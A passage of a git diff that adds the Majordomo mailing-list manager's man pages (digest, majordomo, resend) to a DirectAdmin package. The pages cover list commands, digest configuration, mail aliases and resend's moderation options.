ddddiiiiggggeeeesssstttt____aaaarrrrcccchhhhiiiivvvveeee,,,, + ddddiiiiggggeeeesssstttt____rrrrmmmm____ffffooooooootttteeeerrrr,,,, ddddiiiiggggeeeesssstttt____rrrrmmmm____ffffrrrroooonnnntttteeeerrrr,,,, ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr.... + + The parameters which specifically deal with digest creation + and maintenance are: + + ddddiiiiggggeeeesssstttt____nnnnaaaammmmeeee - the title of the digest + ddddiiiiggggeeeesssstttt____vvvvoooolllluuuummmmeeee - volume number + ddddiiiiggggeeeesssstttt____iiiissssssssuuuueeee - issue number + ddddiiiiggggeeeesssstttt____mmmmaaaaxxxxddddaaaayyyyssss - age limit in days for oldest message in the + digest + ddddiiiiggggeeeesssstttt____mmmmaaaaxxxxlllliiiinnnneeeessss - maximum number of lines in a digest + mmmmaaaaxxxxlllleeeennnnggggtttthhhh - maximum number of characters in a digest + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr - text prepended to the digest + mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr - text appended to the digest + + The last three parameters are also used in the configuration + of an ordinary (non-digest) Majordomo list. + + Each digest begins with the a line containing the + ddddiiiiggggeeeesssstttt____nnnnaaaammmmeeee,,,, ccccuuuurrrrrrrreeeennnntttt ddddaaaatttteeee,,,, ddddiiiiggggeeeesssstttt____vvvvoooolllluuuummmmeeee aaaannnndddd ddddiiiiggggeeeesssstttt____iiiissssssssuuuueeee.... + + A blank line follows, and then the text from the + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr,,,, if any. The message fronter may contain + the token, which will be replaced by the subject lines from + the messages in the digest. + + The text in the mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr,,,, if any, will be appended to + the digest. + + To embed a blank line in the mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr or + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr,,,, put a `-' as the first and ONLY character + on the line. To preserve whitespace at the beginning of a + line, put a `-' on the line before the whitespace to be + preserved. To put a literal `-' at the beginning of a line, + double it. + + Both message_footer and message_fronter may also use the + tokens and which will be expanded to, respectively: the name + of the current list, the sender as taken from the from line, + and the current version of Majordomo. + + + + + Page 3 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Examples of the aliases usually used with the digest are + given in below. + + The list owner can prompt Majordomo to build a digest by + sending the command + + mkdigest _d_i_g_e_s_t-_n_a_m_e [ _d_i_g_e_s_t-_p_a_s_s_w_o_r_d ] + + to majordomo either via email or from cron. The cron + command has the format: + + echo mkdigest _d_i_g_e_s_t-_n_a_m_e [ _d_i_g_e_s_t-_p_a_s_s_w_o_r_d ] | mail + majordomo@domain.com + + SSSSTTTTAAAANNNNDDDDAAAALLLLOOOONNNNEEEE DDDDIIIIGGGGEEEESSSSTTTT CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + The Majordomo distribution comes with a ``digest'' + subdirectory. The sample configuration file is called + firewalls-digest.cf. A file in this format must be used if + digest is invoked in standalone configuration. + + If no configuration file is specified when digest is + invoked, it looks for a file named that must be in the same + format as the example file. + + The configuration file defines the email addresses of the + sender and recipient of the digest. It also locates the work + and archive directories, the digest's size limit, and the + names of the files that contain the digest's volume, number, + header and footer. + + The easiest way to configure a standalone digest is to copy + the five files (firewalls-digest.*) and edit them to taste. + + Incoming mail is piped to digest with the ----rrrr option. This + can be done from some mail-reading programs, through the + command line, or via mail aliases similar to those found in + below. + + EEEEXXXXAAAAMMMMPPPPLLLLEEEESSSS + 1. Example values from ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff:::: + + $$$$lllliiiissssttttddddiiiirrrr ==== ````````uuuussssrrrr////llllooooccccaaaallll////mmmmaaaaiiiillll////lllliiiissssttttssss'''''''';;;; + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr ==== ````````uuuussssrrrr////llllooooccccaaaallll////mmmmaaaaiiiillll////ddddiiiiggggeeeesssstttt'''''''';;;; + $$$$ffffiiiilllleeeeddddiiiirrrr ==== ````````lllliiiissssttttddddiiiirrrr'''''''';;;; + $$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx ````````aaaarrrrcccchhhhiiiivvvveeee'''''''';;;; + + If our digest's name is banjo-digest, the work directory + will be /usr/local/mail/digest/banjo-digest; the archive + directory will be /usr/local/mail/lists/banjo- + digest.archive. Note that these are names of directories, + not files. + + + + + Page 4 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + 2. Typical aliases for Majordomo digests: + + Usually a Majordomo digest is associated to a regular (non- + digest) list. The digest's name is the regular listname + plus ``-digest''. The list ``banjo'' will have the digest + ``banjo-digest''. + + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----aaaapppppppprrrroooovvvvaaaallll:::: kkkkeeeevvvviiiinnnnkkkk + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg:::: ::::iiiinnnncccclllluuuuddddeeee::::////uuuussssrrrr////llllooooccccaaaallll////lllliiiissssttttssss////bbbbaaaannnnjjjjoooo---- + ddddiiiiggggeeeesssstttt + oooowwwwnnnneeeerrrr----bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg:::: kkkkeeeevvvviiiinnnnkkkk + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeessssttttiiiiffffyyyy:::: ````````||||uuuussssrrrr////mmmmaaaajjjjoooorrrrddddoooommmmoooo////wwwwrrrraaaappppppppeeeerrrr ddddiiiiggggeeeesssstttt ----rrrr ----CCCC ----llll + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg'''''''' + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt:::: bbbbaaaannnnjjjjoooo + + Note that mail to ``banjo-digest'' is routed to the regular + list. The ``digestify'' alias must be added to the regular + list's outgoing alias: + + bbbbaaaannnnjjjjoooo----oooouuuuttttggggooooiiiinnnngggg:::: ::::iiiinnnncccclllluuuuddddeeee::::////uuuussssrrrr////llllooooccccaaaallll////lllliiiissssttttssss////bbbbaaaannnnjjjjoooo,,,,bbbbaaaannnnjjjjoooo---- + ddddiiiiggggeeeessssttttiiiiffffyyyy + + NNNNOOOOTTTTEEEESSSS + The volume number does not change automatically; it must be + incremented manually. + + For testing/debugging purposes there is a ``hidden'' option + ----dddd that creates the digest as /tmp/testdigest.nnn (where _n_n_n + is the current digest number). Since it is for testing and + debugging purposes, it does not mail the digest, it does not + place the digest in the archive directory, and it does not + update the digest number. + + EEEEXXXXIIIITTTT SSSSTTTTAAAATTTTUUUUSSSS + The following exit values are returned: + + 0000 Successful completion. + + >>>>0000 An error occurred. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))) + + AAAAUUUUTTTTHHHHOOOORRRR + The digest script was written by Brent Chapman + . It is available with distributions + of Majordomo via anonymous FTP from FTP.GreatCircle.COM, in + the directory pub/majordomo. This man page was written by + + + + Page 5 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Kevin Kelleher . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Page 6 (printed 9/23/96) + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 new file mode 100644 index 0000000..e99835a --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 @@ -0,0 +1,300 @@ +.TH MAJORDOMO 8 +.SH NAME +Majordomo \- manage multiple mailing lists +.SH SYNOPSIS +.B Majordomo +.SH "DESCRIPTION" +.B Majordomo +is a perl script which automates the management of Internet mailing lists. +It is executed via electronic mail; users send e-mail to +.B Majordomo +with instructions in the body of the message, and the perl script performs +the requested actions and responds with the results. Any text in the +"Subject:" line is ignored. +.SH "COMMANDS" +.B Majordomo +understands the following commands (arguments in "[]" are optional): +.TP 5 +.B +subscribe \fIlist\fR [\fIaddress\fR] +.P +Subscribe yourself (or +.I address +if specified) to the named +.IR list . +.TP 5 +.B +unsubscribe \fIlist\fR [\fIaddress\fR] +.P +Unsubscribe yourself (or +.I address +if specified) from the named +.IR list . +If +.IR list +is ``*'' (an asterisk), unsubscribe from all lists on this Majordomo +server. +.TP 5 +.B +auth \fIspecial-word\fP subscribe \fIlist address\fP +.P +If the +.I list +subscribe policy setting includes \fI+confirm\fR, +Majordomo will ask for confirmation before a subscription +is approved. +The conformation request will show the +.I special-word +to send with +.I auth . +.TP 5 +.B +get \fIlist\fR \fIfile\fR +.P +Get the +.I file +related to +.IR list . +.TP 5 +.B +index \fIlist\fR +.P +Return an index of the files you can +.I get +associated with +.IR list . +.TP 5 +.B +which [\fIaddress\fR] +.P +Find out to which lists you (or +.I address +if specified) are subscribed. +.TP 5 +.B +who \fIlist\fR +.P +Find out who is on the named +.IR list . +.TP 5 +.B +info \fIlist\fR +.P +Retrieve the general introductory information for the named +.IR list . +.TP 5 +.B +intro \fIlist\fR +.P +Retrieve the introductory message sent to new users +of +.IR list . +Non-subscribers may not be able to retrieve this. +.TP 5 +.B +lists +.P +Show the lists served by this Majordomo server. It will also show a 50 +character list description if one has been provided. +.TP 5 +.B +help +.P +Retrieve an informational message, a brief synopsis of the user portion of +this manual page. +.TP 5 +.B +end +.P +Stop processing commands (useful if your mailer adds a signature). +.PP +A command may be split across multiple lines if all of the lines in +the command except the last end with a backslash "\\". +.PP +In addition, the owner of the list can issue the following commands: +.TP 5 +.B +approve \fIpassword\fR subscribe \fIlist\fR \fIaddress\fR +.P +Instruct Majordomo to add +.I address +to +.IR list . +The password is required to authenticate the list owner. This is very weak +authentication as the password is transmitted in the clear in an e-mail +message. No claims are made that it will provide anything other than +rudimentary protection against abuse of the Majordomo server. +.TP 5 +.B +approve \fIpassword\fR unsubscribe \fIlist\fR \fIaddress\fR +.P +Instruct Majordomo to delete +.I address +from +.IR list . +The password is required to authenticate the list owner. See the comments +above regarding the password. +.TP 5 +.B +newinfo \fIlist\fR \fIpassword\fR +.P +Update the informational message for +.I list +with the text which follows on subsequent lines. No formatting of the +message occurs, so the list owner should be careful to constrain the message +to eighty columns. Majordomo will include everything up to the string +.B EOF +or to the end of the mail message, whichever comes first. This is useful in +case the owner wants to verify the new message immediately, e.g., +.sp 1 +.RS 10 +To: majordomo +.sp 0 +newinfo list password +.sp +This is new information for the "list" list. +.sp +EOF +.sp 0 +info list +.sp +.RE +.RS 5 +This will simultaneously update the information for the list, and then +retrieve it for verification. Note that blank lines are preserved in the +message. +.RE +.TP 5 +.B +newintro \fIlist\fR \fIpassword\fR +.P +Similar to +.I newinfo , +but updates the (optional) introductory message sent to new +.I list +subscribers. +.B +passwd \fIlist\fR \fIold-password\fR \fInew-password\fR +.P +Replace the password for +.I list +with +.IR new-password . +.TP 5 +.B +config \fIlist\fR \fIpassword\fR +.P +retrieve a self-documenting configuration file for +the list . The \fIpassword\fR can be the password +contained in the file .passwd or the +admin_password in the configuration file. +.TP 5 +.B +newconfig \fIlist\fR \fIpassword\fR +.P +Validates and installs a new configuration file. The config file +includes everything up to the string +.B EOF +or to the end of the mail message, whichever comes first. The config +file is expected to be a complete config file as returned by the +"config" command. Incremental changing of the config file is not yet +supported. As soon as the config file is validated and installed its +settings are available for use. This is useful to remember if you have +multiple commands in your mail message since they will be subject to +the settings of the new config file. If there is an error in the +config file (incorrect value...), the config file will not be accepted +and the error message identifying the problem line(s) will be returned +to the sender. Note that only the errors are returned to the +sender not the entire config file. +.TP 5 +.B +writeconfig \fIlist\fR \fIpassword\fR +.P +Write a new config in standard form. All of the config +file documentation is optional. Only the keywords and +values are necessary. If a config file, stripped of +all comments is installed using newconfig, that is +what is returned by config. Writeconfig forces a +rewrite of the config file with all comments and +default values in place. It is useful to use after an +upgrade of majordomo since it will add the new +keywords for people to change. It also updates the +documentation in the file if that has changed. +.TP 5 +.B mkdigest +.I digest-list-name +[ +.I outgoing-address +] +.I password +.P +This will force a digest for the specified list to be created. It is +most useful if you don't have an account on the machine that handles +the digest for your list. +The optional +.I outgoing-address +will override the default address, +.IR listname -outgoing , +for distributing the digests; +this is usually done for security. +.SH CONFIGURATION +(Note that this section has not been updated to majordomo version 1.90). +.B Majordomo +supports +.I open +and +.I closed +lists. An +.I open +list is one to which anyone can subscribe themselves. A subscription +request sent to +.B Majordomo +for a +.I closed +list is forwarded to the owner of the list for approval. If a user tries to +subscribe an address which is different from their own (for example, a local +list exploder), +.B Majordomo +will forward the request to the list owner for approval, regardless of the +open or closed status of the list. +.PP +.B Majordomo +depends on the existence of certain system mail aliases. The first three +are for running the perl script on incoming e-mail and specifying the +responsible person in charge of the server: +.sp 1 +majordomo: "|/usr/local/mail/majordomo/wrapper majordomo" +.sp 0 +majordomo-owner: brent +.sp 0 +owner-majordomo: brent +.sp 1 +These next few aliases are for a list called "sample": +.sp 1 +sample: :include:/usr/local/mail/lists/sample +.sp 0 +owner-sample: sample-owner +.sp 0 +sample-request: "|/usr/local/mail/majordomo/wrapper request-answer sample" +.sp 0 +owner-sample-request: sample-owner +.sp 0 +sample-owner: brent +.sp 0 +sample-approval: brent +.sp 1 + +.SH FILES +/etc/majordomo.cf +.sp 0 +/usr/local/lib/mail/majordomo/ + +.SH BUGS +This man page has not been fully updated to conform to majordomo 1.90. + +.SH AUTHORS +Majordomo and most of the ancillary perl code was written by Brent Chapman, +. The latest version of the code is available by +anonymous FTP from FTP.GreatCircle.COM, in directory pub/majordomo. +This man page was written by Jim Duncan, . Minimal +update of the man page by John Rouillard . diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man new file mode 100644 index 0000000..41d76fa --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man @@ -0,0 +1,264 @@ + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + +NAME + Majordomo - manage multiple mailing lists + +SYNOPSIS + Majordomo + +DESCRIPTION + Majordomo is a perl script which automates the management of + Internet mailing lists. It is executed via electronic mail; + users send e-mail to Majordomo with instructions in the body + of the message, and the perl script performs the requested + actions and responds with the results. Any text in the + "Subject:" line is ignored. + +COMMANDS + Majordomo understands the following commands (arguments in + "[]" are optional): + + subscribe _l_i_s_t [_a_d_d_r_e_s_s] + Subscribe yourself (or _a_d_d_r_e_s_s if specified) to the + named _l_i_s_t. + + unsubscribe _l_i_s_t [_a_d_d_r_e_s_s] + Unsubscribe yourself (or _a_d_d_r_e_s_s if specified) from the + named _l_i_s_t. + + get _l_i_s_t _f_i_l_e + Get the _f_i_l_e related to _l_i_s_t. + + index _l_i_s_t + Return an index of the files you can _g_e_t associated + with _l_i_s_t. + + which [_a_d_d_r_e_s_s] + Find out to which lists you (or _a_d_d_r_e_s_s if specified) + are subscribed. + + who _l_i_s_t + Find out who is on the named _l_i_s_t. + + info _l_i_s_t + Retrieve the general introductory information for the + named _l_i_s_t. + + lists + Show the lists served by this Majordomo server. It will + also show a 50 character list description if one has + been provided. + + help Retrieve an informational message, a brief synopsis of + the user portion of this manual page. + + + + +Sun Release 4.1 Last change: 1 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + end Stop processing commands (useful if your mailer adds a + signature). + + A command may be split across multiple lines if all of the + lines in the command except the last end with a backslash + "\". + + In addition, the owner of the list can issue the following + commands: + + approve _p_a_s_s_w_o_r_d subscribe _l_i_s_t _a_d_d_r_e_s_s + Instruct Majordomo to add _a_d_d_r_e_s_s to _l_i_s_t. The pass- + word is required to authenticate the list owner. This + is very weak authentication as the password is + transmitted in the clear in an e-mail message. No + claims are made that it will provide anything other + than rudimentary protection against abuse of the Major- + domo server. + + approve _p_a_s_s_w_o_r_d unsubscribe _l_i_s_t _a_d_d_r_e_s_s + Instruct Majordomo to delete _a_d_d_r_e_s_s from _l_i_s_t. The + password is required to authenticate the list owner. + See the comments above regarding the password. + + newinfo _l_i_s_t _p_a_s_s_w_o_r_d + Update the informational message for _l_i_s_t with the text + which follows on subsequent lines. No formatting of + the message occurs, so the list owner should be careful + to constrain the message to eighty columns. Majordomo + will include everything up to the string EOF or to the + end of the mail message, whichever comes first. This + is useful in case the owner wants to verify the new + message immediately, e.g., + + To: majordomo + newinfo list password + + This is new information for the "list" list. + + EOF + info list + + This will simultaneously update the information for the + list, and then retrieve it for verification. Note that + blank lines are preserved in the message. + + passwd _l_i_s_t _o_l_d-_p_a_s_s_w_o_r_d _n_e_w-_p_a_s_s_w_o_r_d + Replace the password for _l_i_s_t with _n_e_w-_p_a_s_s_w_o_r_d. + + config _l_i_s_t _p_a_s_s_w_o_r_d + retrieve a self-documenting configuration file for the + list . The _p_a_s_s_w_o_r_d can be the password + + + +Sun Release 4.1 Last change: 2 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + contained in the file .passwd or the + admin_password in the configuration file. + + newconfig _l_i_s_t _p_a_s_s_w_o_r_d + Validates and installs a new configuration file. The + config file includes everything up to the string EOF or + to the end of the mail message, whichever comes first. + The config file is expected to be a complete config + file as returned by the "config" command. Incremental + changing of the config file is not yet supported. As + soon as the config file is validated and installed its + settings are available for use. This is useful to + remember if you have multiple commands in your mail + message since they will be subject to the settings of + the new config file. If there is an error in the con- + fig file (incorrect value...), the config file will not + be accepted and the error message identifying the prob- + lem line(s) will be returned to the sender. Note that + only the errors are returned to the sender not the + entire config file. + + writeconfig _l_i_s_t _p_a_s_s_w_o_r_d + Write a new config in standard form. All of the config + file documentation is optional. Only the keywords and + values are necessary. If a config file, stripped of all + comments is installed using newconfig, that is what is + returned by config. Writeconfig forces a rewrite of + the config file with all comments and default values in + place. It is useful to use after an upgrade of major- + domo since it will add the new keywords for people to + change. It also updates the documentation in the file + if that has changed. + + mkdigest _d_i_g_e_s_t-_l_i_s_t-_n_a_m_e _p_a_s_s_w_o_r_d + This will force a digest for the specified list to be + created. It is most useful if you don't have an account + on the machine that handles the digest for your list. + + +CONFIGURATION + (Note that this section has not been updated to majordomo + version 1.90). Majordomo supports _o_p_e_n and _c_l_o_s_e_d lists. + An _o_p_e_n list is one to which anyone can subscribe them- + selves. A subscription request sent to Majordomo for a + _c_l_o_s_e_d list is forwarded to the owner of the list for appro- + val. If a user tries to subscribe an address which is dif- + ferent from their own (for example, a local list exploder), + Majordomo will forward the request to the list owner for + approval, regardless of the open or closed status of the + list. + + + + + +Sun Release 4.1 Last change: 3 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + Majordomo depends on the existence of certain system mail + aliases. The first three are for running the perl script on + incoming e-mail and specifying the responsible person in + charge of the server: + + majordomo: "|/usr/local/mail/majordomo/wrapper majordomo" + majordomo-owner: brent + owner-majordomo: brent + + These next few aliases are for a list called "sample": + + sample: :include:/usr/local/mail/lists/sample + owner-sample: sample-owner + sample-request: "|/usr/local/mail/majordomo/wrapper + request-answer sample" + owner-sample-request: sample-owner + sample-owner: brent + sample-approval: brent + + + +FILES + /etc/majordomo.cf + /usr/local/lib/mail/majordomo/ + + +BUGS + This man page has not been fully updated to conform to + majordomo 1.90. + + +AUTHORS + Majordomo and most of the ancillary perl code was written by + Brent Chapman, . The latest version + of the code is available by anonymous FTP from + FTP.GreatCircle.COM, in directory pub/majordomo. This man + page was written by Jim Duncan, . Minimal + update of the man page by John Rouillard + . + + + + + + + + + + + + + + + + +Sun Release 4.1 Last change: 4 + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 new file mode 100644 index 0000000..02d42fd --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 @@ -0,0 +1,184 @@ +.TH resend 1 +.SH NAME +resend \- resend messages after evaluation +.LP +.SH SYNOPSIS +.B resend +.B [\-A] +.B [\-C config-file] +.B [\-I file-list] +.B [\-M max-msg-length] +.B [\-R] +.B [\-a passwd] +.B [\-d] +.B [\-f from-addr] +.B [\-h host-name] +.B \-l list-name +.B [\-n] +.B [\-p precedence] +.B [\-r reply-to] +.B [\-s] +.B destination +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +.B resend +is a perl script that is usually used to redirect mail messages to +a mailing list after evaluating and parsing the headers. Mail is +"resent" by handing it off to the mailer again with an alternate +destination as specified by the final operand. +.LP +Any message that +.B resend +doesn't like is sent to the list owner (the +"-f" address, or "-owner" if -f isn't used) along with a +comment indicating what "resend" didn't like about it. To go ahead +and send the message, just feed it to resend without the flag that +caused it to reject it (in other words, if it rejected it because it +was too long, omit the "-M <>" flag; if it rejected it because it was +administrivia, omit the "-s" flag). +.LP +If you specify "-a " flag, this "approval" password can be +used in an "Approved: " line to override most of the other +checks (those enabled by "-s", "-M", and so forth). The "Approved: +" line can either be one of the mail headers, or the first +line of the body of the message. If it is in the headers, the rest +of the headers are resent as part of the approved message. If it is +in the body, the current headers are discarded in favor of the headers +from the original message which should follow the "Approved:" line in +the body. +.LP +The owner of a mailing list can thus post messages that were initially +bounced by adding an "Approved: " line and resubmitting the +message. Any "Approved: " line is stripped before the message +is sent to the mailing list, so that list members won't learn the +password. If the argument to the "-a" flag begins with a "/", +it is assumed to be a file name from which the actual password is read. +.LP +You can make a list "moderated" by specifying the "-A" flag. If the +"-A" flag is set, then any messages not containing a valid "Approved:" +line are sent to the list owner, rather than the whole list.; the +list owner can then review the message, add an appropriate "Approved:" +line, and resubmit them (these last two steps can be done easily with +the "approve" command that comes with Majordomo). If you specify +the "-A" flag, you must also specify the "-a " flag, so that +resend knows what approval password to use. +.LP +If you only want to accept messages from members of a list, you can +use the "-I " flag to do this. "" should be a +colon-separated list of files in the $listdir directory (specified in +the config file) that "resend" will check the address in "From:" line +of a message against. If the address doesn't show up in one of those +files, and the message doesn't have a valid "approved" header on it, +it will be bounced to the list owner. +.LP +.SH OPTIONS +The following options can be used with resend: +.LP +.TP 10 +.B \-A +Approve; enable list moderation by requiring an Approved: header to be +present in the message before resending. Messages without an Approved: +header will be redirected to the list owner for approval. +.TP +.B \-C config-file +Alternate configuration file; tell resend to use the file +.TP +.B config-file +instead of the default list-name.config. +.TP +.B \-I file-list +Include; ensure that the message sender (as represented in the From: +line of the incoming message) is in one of the file(s) specified in +.BR file-list . +.B file-list +may contain multiple colon separated pathnames. Each pathname should +point to a file that contains a sendmail-style mailing list. +.TP +.B [\-M max-msg-length] +Maximum; Specify the maximum length of the relayed message in octets. +.TP +.B [\-R] +Delete the "Received:" lines in the incoming message header. This can +make the relayed messages considerably shorter at the expense of +losing some potentially interesting debugging information. +.TP +.B [\-a passwd_file] +Specify the pathname of the file containing the approval password for +the list. This password is used to check Approved: headers when +relaying messages to lists that are marked as moderated through the +.B \-A +option above. +.TP +.B [\-d] +Debug; print what would be done, but don't do it. +.TP +.B [\-f from-addr] +Set the From: address to +.B from-addr +.TP +.B [\-h host-name] +Set the name of the local host to +.BR host-name . +This name will be used in the From: and To: lines when updating the +headers. +.TP +.B \-l list-name +Specify the name of the mailing list as +.BR list-name . +This option is required, as +.B resend +uses this name to derive the names +of many other files. +.TP +.B [\-n] +Assign a sequence number to each message as it comes through. The next +sequence number is stored in the file lists/list-name.seq. If the +string $SEQNUM is found in the $subject-prefix configuration variable, +it is replaced with the current sequence number. Thus, a +$subject_prefix of "($LIST $SEQNUM)" would render a Subject: line of +(list-name sequence-number). +.TP +.B [\-p precedence] +Set the Precedence: header to +.BR precedence . +.TP +.B [\-r reply-to] +Set the Reply-To: header to +.BR reply-to . +.TP +.B [\-s] +Administrivia; Search the message for strings commonly found in +administrative messages send to majordomo mailing lists (e.g. +subscribe, unsubscribe). If these are found in the first 10 or so +lines of the message, the message will be relayed to the list owner +instead of being sent on to the mailing list. +.SH OPERANDS +.TP 10 +.B destination +The alias to which to redirect the message if it is a proper list +submission. +.LP +.SH CONFIGURATION +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.TP +.B lists/list-name.config +.PD +.LP +.SH SEE ALSO +.B majordomo(8),approve(1) +.LP +.SH AUTHOR +Majordomo and most of the ancillary perl code was written by +Brent Chapman . +Majordomo is available via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Shane McCarron . diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.man new file mode 100644 index 0000000..7f21d81 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.man @@ -0,0 +1,264 @@ + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + NNNNAAAAMMMMEEEE + resend - resend messages after evaluation + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + rrrreeeesssseeeennnndddd [[[[----AAAA]]]] [[[[----CCCC ccccoooonnnnffffiiiigggg----ffffiiiilllleeee]]]] [[[[----IIII ffffiiiilllleeee----lllliiiisssstttt]]]] [[[[----MMMM mmmmaaaaxxxx----mmmmssssgggg---- + lllleeeennnnggggtttthhhh]]]] [[[[----RRRR]]]] [[[[----aaaa ppppaaaasssssssswwwwdddd]]]] [[[[----dddd]]]] [[[[----ffff ffffrrrroooommmm----aaaaddddddddrrrr]]]] [[[[----hhhh hhhhoooosssstttt----nnnnaaaammmmeeee]]]] + ----llll lllliiiisssstttt----nnnnaaaammmmeeee [[[[----nnnn]]]] [[[[----pppp pppprrrreeeecccceeeeddddeeeennnncccceeee]]]] [[[[----rrrr rrrreeeeppppllllyyyy----ttttoooo]]]] [[[[----ssss]]]] + ddddeeeessssttttiiiinnnnaaaattttiiiioooonnnn + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + rrrreeeesssseeeennnndddd is a perl script that is usually used to redirect + mail messages to a mailing list after evaluating and parsing + the headers. Mail is "resent" by handing it off to the + mailer again with an alternate destination as specified by + the final operand. + + Any message that rrrreeeesssseeeennnndddd doesn't like is sent to the list + owner (the "-f" address, or "-owner" if -f isn't + used) along with a comment indicating what "resend" didn't + like about it. To go ahead and send the message, just feed + it to resend without the flag that caused it to reject it + (in other words, if it rejected it because it was too long, + omit the "-M <>" flag; if it rejected it because it was + administrivia, omit the "-s" flag). + + If you specify "-a " flag, this "approval" password + can be used in an "Approved: " line to override most + of the other checks (those enabled by "-s", "-M", and so + forth). The "Approved: " line can either be one of + the mail headers, or the first line of the body of the + message. If it is in the headers, the rest of the headers + are resent as part of the approved message. If it is in the + body, the current headers are discarded in favor of the + headers from the original message which should follow the + "Approved:" line in the body. + + The owner of a mailing list can thus post messages that were + initially bounced by adding an "Approved: " line and + resubmitting the message. Any "Approved: " line is + stripped before the message is sent to the mailing list, so + that list members won't learn the password. If the + argument to the "-a" flag begins with a "/", it is assumed + to be a file name from which the actual password is read. + + You can make a list "moderated" by specifying the "-A" flag. + If the "-A" flag is set, then any messages not containing a + valid "Approved:" line are sent to the list owner, rather + than the whole list.; the list owner can then review the + message, add an appropriate "Approved:" line, and resubmit + + + + Page 1 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + them (these last two steps can be done easily with the + "approve" command that comes with Majordomo). If you + specify the "-A" flag, you must also specify the "-a + " flag, so that resend knows what approval password + to use. + + If you only want to accept messages from members of a list, + you can use the "-I " flag to do this. "" should be a colon-separated list of files in the + $listdir directory (specified in the config file) that + "resend" will check the address in "From:" line of a message + against. If the address doesn't show up in one of those + files, and the message doesn't have a valid "approved" + header on it, it will be bounced to the list owner. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + The following options can be used with resend: + + ----AAAA Approve; enable list moderation by requiring an + Approved: header to be present in the message + before resending. Messages without an Approved: + header will be redirected to the list owner for + approval. + + ----CCCC ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Alternate configuration file; tell resend to use + the file + + ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + instead of the default list-name.config. + + ----IIII 